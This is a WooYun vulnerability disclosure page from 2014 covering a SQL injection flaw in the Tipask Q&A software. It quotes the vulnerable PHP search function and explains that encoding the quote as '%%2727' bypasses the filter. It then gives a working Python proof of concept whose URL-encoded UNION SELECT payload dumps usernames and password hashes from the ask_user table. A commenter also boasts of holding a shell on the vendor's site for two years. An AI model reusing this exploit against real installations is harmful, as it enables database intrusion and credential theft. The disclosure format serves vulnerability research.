当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-055760

漏洞标题:tipaskSQL注入漏洞(无视GPC)

相关厂商:tipask

漏洞作者: evil4hi

提交时间:2014-04-06 17:26

修复时间:2014-07-05 17:27

公开时间:2014-07-05 17:27

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-07-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

某处过滤不全 再次过滤还是未考虑全

详细说明:

function onsearch() {
$qstatus = $status = $this->get[3] ? $this->get[3] : 1;
(1 == $status) && ($qstatus = "1,2,6,9");
(2 == $status) && ($qstatus = "2,6");
$word = urldecode($this->post['word'] ? str_replace("%27", "", $this->post['word']) : $this->get[2]);
(!trim($word)) && $this->message("搜索关键词不能为空!", 'BACK');
$navtitle = $word . '-搜索问题';
@$page = max(1, intval($this->get[4]));
$pagesize = $this->setting['list_default'];
$startindex = ($page - 1) * $pagesize;
if (preg_match("/^tag:(.+)/", $word, $tagarr)) {
$tag = $tagarr[1];
$rownum = $_ENV['question']->rownum_by_tag($tag, $qstatus);
$questionlist = $_ENV['question']->list_by_tag($tag, $qstatus, $startindex, $pagesize);
} else {
$questionlist = $_ENV['question']->search_title($word, $qstatus, 0, $startindex, $pagesize);
$rownum = $_ENV['question']->search_title_num($word, $qstatus);
}
$related_words = $_ENV['question']->get_related_words();
$hot_words = $_ENV['question']->get_hot_words();
$corrected_words = $_ENV['question']->get_corrected_word($word);
$departstr = page($rownum, $pagesize, $page, "question/search/$word/$status");
include template('search');


传进来的参数是urlencode的 然后绕过了gpc,传进来的过滤了%27,那么%%2727就可以绕过。
然后就是注入了。

漏洞证明:

#coding=GBK
import requests
import re
payload = {'word':'61%64%6D%69%6E%%2727%20%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%31%2C%32%2C%33%2C%34%2C%35%2C%36%2C%37%2C%38%2C%63%6F%6E%63%61%74%28%75%73%65%72%6E%61%6D%65%2C%30%78%32%34%2C%70%61%73%73%77%6F%72%64%29%2C%31%30%2C%31%31%2C%31%32%2C%31%33%2C%31%34%2C%31%35%2C%31%36%2C%31%37%2C%31%38%2C%31%39%2C%32%30%20%66%72%6F%6D%20%61%73%6B%5F%75%73%65%72%20%23'}
html = requests.post('http://localhost/tipask/?question/search/',params=payload).text
all = re.findall("(\w+?)\$(\w+)", html)
for username, password in all:
print username, password

修复方案:

过滤

版权声明:转载请注明来源 evil4hi@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2014-04-15 00:46 | 混世魔王 ( 路人 | Rank:26 漏洞数:5 | 欢迎友情链接http://26836659.blogcn.com)

    tipask 的漏洞历史可是很少的哦

  2. 2014-07-10 11:09 | 我了个去 ( 普通白帽子 | Rank:139 漏洞数:14 | 4892057@qq.com ...)

    我会跟你说我还有他官网的shell嘛

  3. 2014-07-10 11:10 | 我了个去 ( 普通白帽子 | Rank:139 漏洞数:14 | 4892057@qq.com ...)

    在我手里都两年了